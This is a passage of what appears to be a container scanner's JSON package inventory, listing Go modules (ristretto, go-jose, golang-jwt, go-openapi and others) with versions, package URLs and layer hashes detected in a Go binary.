"github.com/dgraph-io/ristretto/v2", "Identifier": { "PURL": "pkg:golang/github.com/dgraph-io/ristretto/v2@v2.2.0", "UID": "977f5ecc35fed33f" }, "Version": "v2.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dgryski/go-rendezvous@v0.0.0-20200823014737-9f7001d12a5f", "Name": "github.com/dgryski/go-rendezvous", "Identifier": { "PURL": "pkg:golang/github.com/dgryski/go-rendezvous@v0.0.0-20200823014737-9f7001d12a5f", "UID": "cd177238eb9a98b5" }, "Version": "v0.0.0-20200823014737-9f7001d12a5f", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/diegoholiveira/jsonlogic/v3@v3.7.4", "Name": "github.com/diegoholiveira/jsonlogic/v3", "Identifier": { "PURL": "pkg:golang/github.com/diegoholiveira/jsonlogic/v3@v3.7.4", "UID": "6e41194f0e2addf2" }, "Version": "v3.7.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/distribution/reference@v0.6.0", "Name": "github.com/distribution/reference", "Identifier": { "PURL": "pkg:golang/github.com/distribution/reference@v0.6.0", "UID": "cdb195d7c61119f0" }, "Version": "v0.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dlmiddlecote/sqlstats@v1.0.2", "Name": "github.com/dlmiddlecote/sqlstats", "Identifier": { "PURL": "pkg:golang/github.com/dlmiddlecote/sqlstats@v1.0.2", "UID": "3cea893d010315c0" }, "Version": "v1.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/docker/go-connections@v0.6.0", "Name": "github.com/docker/go-connections", "Identifier": { "PURL": "pkg:golang/github.com/docker/go-connections@v0.6.0", "UID": "8081f615b1090315" }, "Version": "v0.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/docker/go-units@v0.5.0", "Name": "github.com/docker/go-units", "Identifier": { "PURL": "pkg:golang/github.com/docker/go-units@v0.5.0", "UID": "3a5850b90e77baa5" }, "Version": "v0.5.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dolthub/flatbuffers/v23@v23.3.3-dh.2", "Name": "github.com/dolthub/flatbuffers/v23", "Identifier": { "PURL": "pkg:golang/github.com/dolthub/flatbuffers/v23@v23.3.3-dh.2", "UID": "dc176a4d054cbd7e" }, "Version": "v23.3.3-dh.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dolthub/jsonpath@v0.0.2-0.20240227200619-19675ab05c71", "Name": "github.com/dolthub/jsonpath", "Identifier": { "PURL": "pkg:golang/github.com/dolthub/jsonpath@v0.0.2-0.20240227200619-19675ab05c71", "UID": "8d0eb80635b3d0c1" }, "Version": "v0.0.2-0.20240227200619-19675ab05c71", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dolthub/maphash@v0.1.0", "Name": "github.com/dolthub/maphash", "Identifier": { "PURL": "pkg:golang/github.com/dolthub/maphash@v0.1.0", "UID": "2b3045b9e466da5" }, "Version": "v0.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dolthub/vitess@v0.0.0-20260225173707-20566e4abe9e", "Name": "github.com/dolthub/vitess", "Identifier": { "PURL": "pkg:golang/github.com/dolthub/vitess@v0.0.0-20260225173707-20566e4abe9e", "UID": "6ce4a999f7c2c4de" }, "Version": "v0.0.0-20260225173707-20566e4abe9e", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dustin/go-humanize@v1.0.1", "Name": "github.com/dustin/go-humanize", "Identifier": { "PURL": "pkg:golang/github.com/dustin/go-humanize@v1.0.1", "UID": "72c15e8b3a75af8" }, "Version": "v1.0.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/edsrzf/mmap-go@v1.2.0", "Name": "github.com/edsrzf/mmap-go", "Identifier": { "PURL": "pkg:golang/github.com/edsrzf/mmap-go@v1.2.0", "UID": "63a568dddada3800" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/elazarl/goproxy@v1.8.2", "Name": "github.com/elazarl/goproxy", "Identifier": { "PURL": "pkg:golang/github.com/elazarl/goproxy@v1.8.2", "UID": "a78e51c71f9688cc" }, "Version": "v1.8.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/emicklei/go-restful/v3@v3.13.0", "Name": "github.com/emicklei/go-restful/v3", "Identifier": { "PURL": "pkg:golang/github.com/emicklei/go-restful/v3@v3.13.0", "UID": "dbe73c067739b7d3" }, "Version": "v3.13.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/emirpasic/gods@v1.18.1", "Name": "github.com/emirpasic/gods", "Identifier": { "PURL": "pkg:golang/github.com/emirpasic/gods@v1.18.1", "UID": "8992e729ca60a01f" }, "Version": "v1.18.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/envoyproxy/go-control-plane/envoy@v1.36.0", "Name": "github.com/envoyproxy/go-control-plane/envoy", "Identifier": { "PURL": "pkg:golang/github.com/envoyproxy/go-control-plane/envoy@v1.36.0", "UID": "4b682d268ddab9e2" }, "Version": "v1.36.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/envoyproxy/protoc-gen-validate@v1.3.3", "Name": "github.com/envoyproxy/protoc-gen-validate", "Identifier": { "PURL": "pkg:golang/github.com/envoyproxy/protoc-gen-validate@v1.3.3", "UID": "b60e17f87b9398c8" }, "Version": "v1.3.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/facette/natsort@v0.0.0-20181210072756-2cd4dd1e2dcb", "Name": "github.com/facette/natsort", "Identifier": { "PURL": "pkg:golang/github.com/facette/natsort@v0.0.0-20181210072756-2cd4dd1e2dcb", "UID": "2fd0fe47c8a2cd2d" }, "Version": "v0.0.0-20181210072756-2cd4dd1e2dcb", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/fatih/color@v1.19.0", "Name": "github.com/fatih/color", "Identifier": { "PURL": "pkg:golang/github.com/fatih/color@v1.19.0", "UID": "512f7bd116e8261e" }, "Version": "v1.19.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/felixge/httpsnoop@v1.0.4", "Name": "github.com/felixge/httpsnoop", "Identifier": { "PURL": "pkg:golang/github.com/felixge/httpsnoop@v1.0.4", "UID": "c40f06a1f4573d55" }, "Version": "v1.0.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/fsnotify/fsnotify@v1.9.0", "Name": "github.com/fsnotify/fsnotify", "Identifier": { "PURL": "pkg:golang/github.com/fsnotify/fsnotify@v1.9.0", "UID": "11c05d2e54ec28b0" }, "Version": "v1.9.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/fullstorydev/grpchan@v1.1.1", "Name": "github.com/fullstorydev/grpchan", "Identifier": { "PURL": "pkg:golang/github.com/fullstorydev/grpchan@v1.1.1", "UID": "29269b334ce94a9" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/fxamacker/cbor/v2@v2.9.0", "Name": "github.com/fxamacker/cbor/v2", "Identifier": { "PURL": "pkg:golang/github.com/fxamacker/cbor/v2@v2.9.0", "UID": "88b039bbfe06bd10" }, "Version": "v2.9.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gammazero/deque@v0.2.1", "Name": "github.com/gammazero/deque", "Identifier": { "PURL": "pkg:golang/github.com/gammazero/deque@v0.2.1", "UID": "edf48afb505f9ec7" }, "Version": "v0.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gchaincl/sqlhooks@v1.3.0", "Name": "github.com/gchaincl/sqlhooks", "Identifier": { "PURL": "pkg:golang/github.com/gchaincl/sqlhooks@v1.3.0", "UID": "890a4b7bbc93349b" }, "Version": "v1.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/getkin/kin-openapi@v0.133.0", "Name": "github.com/getkin/kin-openapi", "Identifier": { "PURL": "pkg:golang/github.com/getkin/kin-openapi@v0.133.0", "UID": "60865967e06ebe00" }, "Version": "v0.133.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-asn1-ber/asn1-ber@v1.5.4", "Name": "github.com/go-asn1-ber/asn1-ber", "Identifier": { "PURL": "pkg:golang/github.com/go-asn1-ber/asn1-ber@v1.5.4", "UID": "ff3165ce52328dda" }, "Version": "v1.5.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-jose/go-jose/v4@v4.1.4", "Name": "github.com/go-jose/go-jose/v4", "Identifier": { "PURL": "pkg:golang/github.com/go-jose/go-jose/v4@v4.1.4", "UID": "51fee67a5adc88b3" }, "Version": "v4.1.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-kit/log@v0.2.1", "Name": "github.com/go-kit/log", "Identifier": { "PURL": "pkg:golang/github.com/go-kit/log@v0.2.1", "UID": "895f6e0dd91b0ef7" }, "Version": "v0.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-ldap/ldap/v3@v3.4.4", "Name": "github.com/go-ldap/ldap/v3", "Identifier": { "PURL": "pkg:golang/github.com/go-ldap/ldap/v3@v3.4.4", "UID": "281f89da12af217d" }, "Version": "v3.4.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-logfmt/logfmt@v0.6.1", "Name": "github.com/go-logfmt/logfmt", "Identifier": { "PURL": "pkg:golang/github.com/go-logfmt/logfmt@v0.6.1", "UID": "7250cb52600dd3c6" }, "Version": "v0.6.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-logr/logr@v1.4.3", "Name": "github.com/go-logr/logr", "Identifier": { "PURL": "pkg:golang/github.com/go-logr/logr@v1.4.3", "UID": "e7069ad11ef6167d" }, "Version": "v1.4.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-logr/stdr@v1.2.2", "Name": "github.com/go-logr/stdr", "Identifier": { "PURL": "pkg:golang/github.com/go-logr/stdr@v1.2.2", "UID": "866123f68176d56a" }, "Version": "v1.2.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/analysis@v0.24.3", "Name": "github.com/go-openapi/analysis", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/analysis@v0.24.3", "UID": "d35f39ba9f81365e" }, "Version": "v0.24.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/errors@v0.22.7", "Name": "github.com/go-openapi/errors", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/errors@v0.22.7", "UID": "eceded176a038545" }, "Version": "v0.22.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/jsonpointer@v0.22.5", "Name": "github.com/go-openapi/jsonpointer", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/jsonpointer@v0.22.5", "UID": "905fcacc79625286" }, "Version": "v0.22.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/jsonreference@v0.21.5", "Name": "github.com/go-openapi/jsonreference", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/jsonreference@v0.21.5", "UID": "bd341a36c391ef6f" }, "Version": "v0.21.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/loads@v0.23.3", "Name": "github.com/go-openapi/loads", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/loads@v0.23.3", "UID": "f6e993bf23096d1a" }, "Version": "v0.23.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/runtime@v0.28.0", "Name": "github.com/go-openapi/runtime", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/runtime@v0.28.0", "UID": "18273e3585421e06" }, "Version": "v0.28.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/spec@v0.22.4", "Name": "github.com/go-openapi/spec", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/spec@v0.22.4", "UID": "62797d27c26ca840" }, "Version": "v0.22.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/strfmt@v0.26.0", "Name": "github.com/go-openapi/strfmt", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/strfmt@v0.26.0", "UID": "a3ee6ca62f77370c" }, "Version": "v0.26.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag@v0.25.4", "Name": "github.com/go-openapi/swag", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag@v0.25.4", "UID": "3c0238d428b26b1c" }, "Version": "v0.25.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/cmdutils@v0.25.4", "Name": "github.com/go-openapi/swag/cmdutils", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/cmdutils@v0.25.4", "UID": "45ed46b036ba7999" }, "Version": "v0.25.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/conv@v0.25.5", "Name": "github.com/go-openapi/swag/conv", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/conv@v0.25.5", "UID": "848e7ef0120b3822" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/fileutils@v0.25.5", "Name": "github.com/go-openapi/swag/fileutils", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/fileutils@v0.25.5", "UID": "bd04d3847f78ca73" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/jsonname@v0.25.5", "Name": "github.com/go-openapi/swag/jsonname", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/jsonname@v0.25.5", "UID": "d6540880c1afe6d1" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/jsonutils@v0.25.5", "Name": "github.com/go-openapi/swag/jsonutils", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/jsonutils@v0.25.5", "UID": "c6a1fd0f3c4235ba" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/loading@v0.25.5", "Name": "github.com/go-openapi/swag/loading", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/loading@v0.25.5", "UID": "c04716f5aba4c671" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/mangling@v0.25.5", "Name": "github.com/go-openapi/swag/mangling", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/mangling@v0.25.5", "UID": "846c63d9c0dac84e" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/netutils@v0.25.4", "Name": "github.com/go-openapi/swag/netutils", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/netutils@v0.25.4", "UID": "e807264c62991333" }, "Version": "v0.25.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/stringutils@v0.25.5", "Name": "github.com/go-openapi/swag/stringutils", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/stringutils@v0.25.5", "UID": "2ae24f8179803124" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/typeutils@v0.25.5", "Name": "github.com/go-openapi/swag/typeutils", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/typeutils@v0.25.5", "UID": "5d45a322ef6aa1a1" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/yamlutils@v0.25.5", "Name": "github.com/go-openapi/swag/yamlutils", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/yamlutils@v0.25.5", "UID": "d2f4fde7ca0e1840" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/validate@v0.25.2", "Name": "github.com/go-openapi/validate", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/validate@v0.25.2", "UID": "688b0910e779efd1" }, "Version": "v0.25.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-sourcemap/sourcemap@v2.1.4+incompatible", "Name": "github.com/go-sourcemap/sourcemap", "Identifier": { "PURL": "pkg:golang/github.com/go-sourcemap/sourcemap@v2.1.4%2Bincompatible", "UID": "a58c98e867e3fab6" }, "Version": "v2.1.4+incompatible", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-sql-driver/mysql@v1.7.1", "Name": "github.com/go-sql-driver/mysql", "Identifier": { "PURL": "pkg:golang/github.com/go-sql-driver/mysql@v1.7.1", "UID": "540d716da04f3388" }, "Version": "v1.7.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-stack/stack@v1.8.1", "Name": "github.com/go-stack/stack", "Identifier": { "PURL": "pkg:golang/github.com/go-stack/stack@v1.8.1", "UID": "51c56cf663bb5b9b" }, "Version": "v1.8.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-viper/mapstructure/v2@v2.5.0", "Name": "github.com/go-viper/mapstructure/v2", "Identifier": { "PURL": "pkg:golang/github.com/go-viper/mapstructure/v2@v2.5.0", "UID": "bb8b2f00f437ce67" }, "Version": "v2.5.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gobwas/glob@v0.2.3", "Name": "github.com/gobwas/glob", "Identifier": { "PURL": "pkg:golang/github.com/gobwas/glob@v0.2.3", "UID": "9cb0b7462e597ec5" }, "Version": "v0.2.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/goccy/go-json@v0.10.5", "Name": "github.com/goccy/go-json", "Identifier": { "PURL": "pkg:golang/github.com/goccy/go-json@v0.10.5", "UID": "65508b4ef78a8e49" }, "Version": "v0.10.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gofrs/uuid@v4.4.0+incompatible", "Name": "github.com/gofrs/uuid", "Identifier": { "PURL": "pkg:golang/github.com/gofrs/uuid@v4.4.0%2Bincompatible", "UID": "b674b73f9eb3d369" }, "Version": "v4.4.0+incompatible", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gogo/googleapis@v1.4.1", "Name": "github.com/gogo/googleapis", "Identifier": { "PURL": "pkg:golang/github.com/gogo/googleapis@v1.4.1", "UID": "73737c7697bef368" }, "Version": "v1.4.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gogo/protobuf@v1.3.2", "Name": "github.com/gogo/protobuf", "Identifier": { "PURL": "pkg:golang/github.com/gogo/protobuf@v1.3.2", "UID": "c52eafe4b74a6432" }, "Version": "v1.3.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gogo/status@v1.1.1", "Name": "github.com/gogo/status", "Identifier": { "PURL": "pkg:golang/github.com/gogo/status@v1.1.1", "UID": "fa4a4cb74d8b790d" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang-jwt/jwt/v4@v4.5.2", "Name": "github.com/golang-jwt/jwt/v4", "Identifier": { "PURL": "pkg:golang/github.com/golang-jwt/jwt/v4@v4.5.2", "UID": "f9c2f6e217eb4848" }, "Version": "v4.5.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang-jwt/jwt/v5@v5.3.1", "Name": "github.com/golang-jwt/jwt/v5", "Identifier": { "PURL": "pkg:golang/github.com/golang-jwt/jwt/v5@v5.3.1", "UID": "904efed1cd86edbb" }, "Version": "v5.3.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang-migrate/migrate/v4@v4.7.0", "Name": "github.com/golang-migrate/migrate/v4", "Identifier": { "PURL": "pkg:golang/github.com/golang-migrate/migrate/v4@v4.7.0", "UID": "9e602421859688c8" }, "Version": "v4.7.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang-sql/civil@v0.0.0-20220223132316-b832511892a9", "Name": "github.com/golang-sql/civil", "Identifier": { "PURL": "pkg:golang/github.com/golang-sql/civil@v0.0.0-20220223132316-b832511892a9", "UID": "540cd3337e656cef" }, "Version": "v0.0.0-20220223132316-b832511892a9", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang-sql/sqlexp@v0.1.0", "Name": "github.com/golang-sql/sqlexp", "Identifier": { "PURL": "pkg:golang/github.com/golang-sql/sqlexp@v0.1.0", "UID": "3f047b89d84dacfe" }, "Version": "v0.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang/mock@v1.7.0-rc.1", "Name": "github.com/golang/mock", "Identifier": { "PURL": "pkg:golang/github.com/golang/mock@v1.7.0-rc.1", "UID": "3d23ad6871d3760a" }, "Version": "v1.7.0-rc.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang/protobuf@v1.5.4", "Name": "github.com/golang/protobuf", "Identifier": { "PURL": "pkg:golang/github.com/golang/protobuf@v1.5.4", "UID": "ac5e57137dc2df34" }, "Version": "v1.5.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang/snappy@v1.0.0", "Name": "github.com/golang/snappy", "Identifier": { "PURL": "pkg:golang/github.com/golang/snappy@v1.0.0", "UID": "180eb1a25a3fdc75" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/btree@v1.1.3", "Name": "github.com/google/btree", "Identifier": { "PURL": "pkg:golang/github.com/google/btree@v1.1.3", "UID": "141f4f6777d0939e" }, "Version": "v1.1.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/cel-go@v0.28.0", "Name": "github.com/google/cel-go", "Identifier": { "PURL": "pkg:golang/github.com/google/cel-go@v0.28.0", "UID": "2ee999f843eff2e7" }, "Version": "v0.28.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/flatbuffers@v25.12.19+incompatible", "Name": 